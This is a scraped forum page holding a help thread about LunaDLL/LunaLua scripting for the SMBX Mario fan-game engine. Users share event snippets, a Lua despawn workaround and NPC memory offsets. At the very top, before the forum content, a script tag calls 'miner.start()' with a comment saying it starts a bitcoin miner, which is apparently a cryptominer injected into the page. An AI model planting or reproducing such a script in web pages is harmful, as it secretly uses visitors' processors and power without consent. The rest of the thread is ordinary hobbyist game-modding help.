<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectmario fan games galaxysmw central

LunaDLL/LunaLUA help thread

The second SMBX collab!
hacheipe399
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby hacheipe399 » 5 years ago

Well I made it, I used OnPlayerMem with 0x16 offset (number of hearts) < 2 to activate the event with the same action: PlayerMemSet.

Code: Select all

#1001
OnPlayerMem,0x16,2,2,1002,0,w

#1002
PlayerMemSet,0,0x112,1,0,0,w
Thank you!

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL help thread

Postby Willhart » 4 years ago

www.gamearchaeology.com is down. What does this mean for lunadll? I remember that some of the documentation was stored there.

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 5 years ago

Re: LunaDLL help thread

Postby Kevsoft » 4 years ago

Luckily Wohlstand collected some of the stuff:
http://engine.wohlnet.ru/docs/Collected/LunaDLL/

User avatar
AuraPaladin
Posts: 1
Joined: 4 years ago
Contact:

Re: LunaDLL help thread

Postby AuraPaladin » 4 years ago

EDIT: Looks like I've found the problem - it didn't like my filepath, but once I took the .lvl file out of the level folder it started working.

Apologies for the simplicity of my problem, but LunaDLL's really not liking me that much (Read: Not working at all) and I'm at my wit's end trying to make sense of how it's supposed to be installed.

As an example block of code, I'm currently using the code that gives Mother Brain 1HP from the (thankfully salvaged) LunaDLL tutorial posted above. As it is, though, Mother Brain's still taking 10 hits to defeat.

Here's my SMBX folder.
http://i.imgur.com/X8vZzDQ.jpg

As you can see, LuaScriptsLib, LunaDLL, lua5.1 and lua51 are all there - I literally just downloaded the folder and extracted to this one.

Here's my level folder - currently within worlds itself.
http://i.imgur.com/d7Jlcbd.jpg


lunadll.txt's up the top there, and it's definitely the right folder, as npc-101 does indeed change the sprite.

Finally, here's lunadll.txt itselg
http://i.imgur.com/J4YG87k.jpg

This code's straight-up copied from the tutorial, so I'm fairly certain it's correct.

If needs be, I can provide additional documentation. Any and all help would be appreciated.

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 4 years ago

It's looking for specific filenames. Are you sure it's actually lunadll.txt or lunadll.lua and not like lunadll.txt.txt or something? The window 8 extension hiding stuff isn't helping you here.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Wohlstand
PGE and LunaLUA developer
Posts: 158
Joined: 5 years ago

Re: LunaDLL help thread

Postby Wohlstand » 4 years ago

Kil wrote:It's looking for specific filenames. Are you sure it's actually lunadll.txt or lunadll.lua and not like lunadll.txt.txt or something? The window 8 extension hiding stuff isn't helping you here.
Therefore:
1) Open control panel
2) open folder properties
3) open "View" tab
4) switch to "Show hidden files"
Disable "hide extensions of registered files"
Disable "Hide propected system files"
5) press Ok and check your folders again

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL help thread

Postby Willhart » 4 years ago

Kil wrote:Ok I found a bug with the builtin sprites. It'll be fixed when I make builtin sprites not suck (for SDS 2?) but I can't update lunadll at the moment since im in the middle of a large update. But you could still use a phanto right now by copying the phanto definition into your file. Here's a complete working file for that level. Also I got rid of the cursed key problem in this one.

Code: Select all

///////////////////////////////
/// -- Phanto definition -- ///
#-1

$MyPhanto,SpriteBlueprint,0,0,0,0,0,0

$DECEL,Deccelerate,0.04,0.04,0,0,0,0

// These are the 4 random IDs I know a key can have
$KEY1,PlayerHoldingSprite,31,0,0,55000,0,0
$KEY2,PlayerHoldingSprite,15,0,0,55000,0,0
$KEY3,PlayerHoldingSprite,64,0,0,55000,0,0
$KEY4,PlayerHoldingSprite,192,0,0,55000,0,0

$MOVE,PhaseMove,0,0,0,0,0,0

$DRAW,RelativeDraw,0,0,0,0,0

$PHANHITBOX,SetHitbox,2,2,28,28,1,0

$MyPhanto,Attach,0,0,0,0,0,DECEL
$MyPhanto,Attach,0,0,0,0,0,KEY1
$MyPhanto,Attach,0,0,0,0,0,KEY2
$MyPhanto,Attach,0,0,0,0,0,KEY3
$MyPhanto,Attach,0,0,0,0,0,KEY4
$MyPhanto,Attach,0,0,0,0,0,MOVE
$MyPhanto,Attach,1,0,0,0,0,DRAW
$MyPhanto,Attach,2,0,0,0,0,PHANHITBOX

#55000
AccelToPlayer,0.095,0.095,5.6,0,1,0
OnPlayerCollide,0,0,0,55001,1,0
OnPlayerDistance,3000,0,0,55002,1,0

#55001
HarmPlayer,0,0,0,0,1,0

#55002
TeleportNearPlayer,1000,0,0,0,1,0

//////////////////////////////////

// Level code
// Load image phanto.bmp into image slot 2 with transparency color FF00DC (pink)
#-1
LoadImage,2,0xDC00FF,0,0,0,phanto.bmp

#0
PlaceSprite,0,2,-159552,-160352,0,MyPhanto
Also that way gives you the ability to customize the speed of the phanto if you want.
I wish these new lunadll features were documented better.

User avatar
Ittababy
Posts: 13
Joined: 6 years ago

Re: LunaDLL help thread

Postby Ittababy » 4 years ago

Is there a way to make a boo that only moves horizontally? I have a plan to make the boohemoth~
A very shy ghost.

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL help thread

Postby Willhart » 4 years ago

OnCustomCheat stops randomly working for me. I wonder if it has something to do with the bge_editor. After editing the level with it the cheat did not work anymore, even though other lunadll events were still functioning.

Code: Select all

#1
OnCustomCheat,0,0,1,6000,0,cat

#6000
TriggerSMBXEvent,0,0,0,0,1,cheat1

#END

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 4 years ago

Ittababy wrote:Is there a way to make a boo that only moves horizontally? I have a plan to make the boohemoth~
It sounds like something you can do with just built-in smbx npc settings.
Willhart wrote:OnCustomCheat stops randomly working for me. I wonder if it has something to do with the bge_editor. After editing the level with it the cheat did not work anymore, even though other lunadll events were still functioning.

Code: Select all

#1
OnCustomCheat,0,0,1,6000,0,cat

#6000
TriggerSMBXEvent,0,0,0,0,1,cheat1

#END
It's probably changing the event name somehow, but who knows. If the event isn't named exactly "cheat1" and has some space or unix carriage return at the end of it, it won't work.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 4 years ago

Kil wrote:
Ittababy wrote:Is there a way to make a boo that only moves horizontally? I have a plan to make the boohemoth~
It sounds like something you can do with just built-in smbx npc settings.
I don't believe you can, since SMBX only allows one speed setting, which for Boos will stop them following the player entirely, and will make them bob up and down.

You can, however, use LunaDLL to reset the y speed of the npc each frame, which will allow it to move only horizontally.
Image
Image
Image
Image
Image

User avatar
kitikami
Posts: 473
Joined: 6 years ago

Re: LunaDLL help thread

Postby kitikami » 4 years ago

I think Koopa Devil Mansion from MAGLX had boos that only move horizontally. I haven't looked at how they did that, but I don't think MAGLX used LunaDLL, did it? Although if you are using LunaDLL anyway, it might just be simpler to keep the y-speed at zero like Hoeloe said even if it is possible to do without Luna.
Image

User avatar
SAJewers
hi
Posts: 3207
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL help thread

Postby SAJewers » 4 years ago

They way that level did it was set the speed of the ghost to 100. The speed flag only effects the horizontal speed of the NPC, so it ends up over the player's head before it travels any significant distance vertically. It's still moving vertically, you just don't notice it.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Ittababy
Posts: 13
Joined: 6 years ago

Re: LunaDLL help thread

Postby Ittababy » 4 years ago

Hoeloe wrote: I don't believe you can, since SMBX only allows one speed setting, which for Boos will stop them following the player entirely, and will make them bob up and down.

You can, however, use LunaDLL to reset the y speed of the npc each frame, which will allow it to move only horizontally.
How do I do that? I have only the most basic understanding of programming.
A very shy ghost.

User avatar
WestonSmith
Bunny
Posts: 171
Joined: 6 years ago

Re: LunaDLL help thread

Postby WestonSmith » 4 years ago

Anyone know if its possible to silence sound effects with LunaDLL? Or even in general? My understanding is that they can only be changed by adjusting the SFX folder, but I'm looking to remove them for a single level only.

Thoughts?

User avatar
SAJewers
hi
Posts: 3207
Joined: 7 years ago
Location: Nova Scotia

Re: LunaDLL help thread

Postby SAJewers » 4 years ago

Check out the SDL stuff. It'll let you set your sound effects and default music on a per-level basis. Use that, and make your sounds silent.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
ohmato
hey idiot
Posts: 794
Joined: 4 years ago
Location: location, location
Contact:

Re: LunaDLL help thread

Postby ohmato » 4 years ago

Is there a way to edit NPC memory in a way that convinces SMBX that an NPC is "onscreen"? I have a layer attached to an NPC to make it bob up and down, but it stops when the NPC goes too far offscreen.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

arabsalmon wrote:Is there a way to edit NPC memory in a way that convinces SMBX that an NPC is "onscreen"? I have a layer attached to an NPC to make it bob up and down, but it stops when the NPC goes too far offscreen.
Yep, NPC offset 0x12A is the "despawn countdown". If this is constantly reset to a non-zero value with LunaDLL/LunaLua, it'll never despawn and should keep working for your layer control purposes.
I'd imagine it can be done in some way with autocode, but since LunaLua is what I know, example with that:

Code: Select all

-- Run each tick
function onLoop()
	-- Find all NPCs with id 180, in the same section the player is currently in
	for i,npc in pairs(findnpcs(180, player.section)) do
		-- Set NPCs with id 180 to never despawn
		npc:mem(0x12A, FIELD_WORD, 120)
	end
end

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL help thread

Postby Willhart » 4 years ago

Willhart wrote:OnCustomCheat stops randomly working for me. I wonder if it has something to do with the bge_editor. After editing the level with it the cheat did not work anymore, even though other lunadll events were still functioning.

Code: Select all

#1
OnCustomCheat,0,0,1,6000,0,cat

#6000
TriggerSMBXEvent,0,0,0,0,1,cheat1

#END
I now know, why this stopped working earlier. I had the debugger open, and was accidentally writing to it during gameplay. The character still moved and recognized the inputs, but the code was not registered.

User avatar
ohmato
hey idiot
Posts: 794
Joined: 4 years ago
Location: location, location
Contact:

Re: LunaDLL help thread

Postby ohmato » 4 years ago

Rednaxela wrote:Yep, NPC offset 0x12A is the "despawn countdown". If this is constantly reset to a non-zero value with LunaDLL/LunaLua, it'll never despawn and should keep working for your layer control purposes.
I'd imagine it can be done in some way with autocode, but since LunaLua is what I know, example with that:

Code: Select all

-- Run each tick
function onLoop()
	-- Find all NPCs with id 180, in the same section the player is currently in
	for i,npc in pairs(findnpcs(180, player.section)) do
		-- Set NPCs with id 180 to never despawn
		npc:mem(0x12A, FIELD_WORD, 120)
	end
end
Thanks! Is there anywhere I can find a comprehensive list of these memory offsets? I was using the one on Wohlnet, but I didn't see this one listed. It'd be convenient if there was anything else I needed to alter.
Image
Image
Image
Image
Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 5 years ago

Re: LunaDLL help thread

Postby Kevsoft » 4 years ago

This is the most up-to-date, because it is the development repository of LunaDLL:
Player Memory Offset
NPC Memory Offset

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

I discovered a pair of new memory offsets in the NPC structure which may be useful to people:

Code: Select all

0x+26	w	= Invincibility frames #1 (counts down 1 per frame)
0x+156	w	= Invincibility frames #2 (counts down 1 per frame)
These normally get used by the engine for things that takes multiple hits gets hit, to give it a short number of invincibility frames. When you manually set this however, it can grant (temporary unless you keep re-setting it) invincibility to any enemy.

Also, here's an important quirk about them:
If you force counter #1 to a non-zero value, counter #2 never gets incremented when you hit the enemy
If you force counter #2 to a non-zero value, counter #1 still gets triggered when you hit the enemy.

Turns out having BOTH of these can be very handy! Why? Because you can force counter #2 to non-zero to make an enemy invincible, while using counter #1 being triggered to detect when your NPC gets 'hit', allowing for some easier ways to implement custom NPC-got-hit behaviour in LunaLua, even for enemies that would normally be killed in one hit ;)

MAJOR EDIT:See my update post below. #1 is only for the elf-sword and #2 is general purpose.
Last edited by Rednaxela on 21 Feb 2015, 22:34, edited 1 time in total.

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

A clarification to some existing offsets:

Code: Select all

// 0x+88	qw	= Height
// 0x+90	qw	= Width
A correction to what Spawn X and Spawn Y should be:

Code: Select all

// 0x+A8	qw	= Spawn X
// 0x+B0	qw	= Spawn Y
Also some more newfound NPC memory offsets:

Code: Select all

// 0x+B8  qw  = Copy of 0x88? Maybe "Spawn Height" to match the pattern?
// 0x+C0  qw  = Copy of 0x90? Maybe "Spawn Width" to match the pattern?

// 0x+D8  f   = Unknown float, set to 1.0 normally?
// 0x+DC  w   = NPC identity (Unknown use, unlike 0x+E2 it does not control sprite or known behaviour, but starts with the same value)

// 0x+EC	f	= Direction faced (difference from 0x118 is unknown, but it is set based on NPC direction)

// 0x+120	w	= Collide with block (set to -1/0xFFFF for a single frame when bouncing off a block)

// 0x+138 w     = Seems to be set if the NPC is contained within another NPC. (i.e. If this NPC is inside a mother-brain-jar, this is 208) Forcing this to 208 causes it to be frozen as if in a jar. Forcing to other values can cause other varied effects.
I also know that 0x+FC and 0x+FE appear to both be used in counting when dry bones gets back up again, which means 0xFC at very least is a multi-purpose NPC timer used for both dry bones, grabbable gun, and possibly other things
0x+106 (w) is also used in some fashion when a dry bones' collapsed bones start to wiggle.

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 5 years ago

Re: LunaDLL help thread

Postby Kevsoft » 4 years ago

What a collection of new offsets :D.... I will update the repo with these new offsets, thx for the work!

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

I have a clarification about the 0x+26 and 0x+156 invincibility timer-ish offsets that I discovered.

0x+26 only appears to be used when the NPC is hit with the elf's sword. It's only set to non-zero by the engine when hit by the elf's sword.... and forcing it to non-zero only affects whether the elf's sword can hit it. (By forcing this to non-zero always, you can make an enemy immune to the elf's sword without affecting other things that could hurt it. Some people may find this useful. Note, this does not mean immunity to the elf, only to his sword. For example a goomba with this set can still be stomped by the elf.)

0x+156 appears to be a more general invincibility timer, which is triggered by and effects all things which may hurt an NPC.


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 4 guests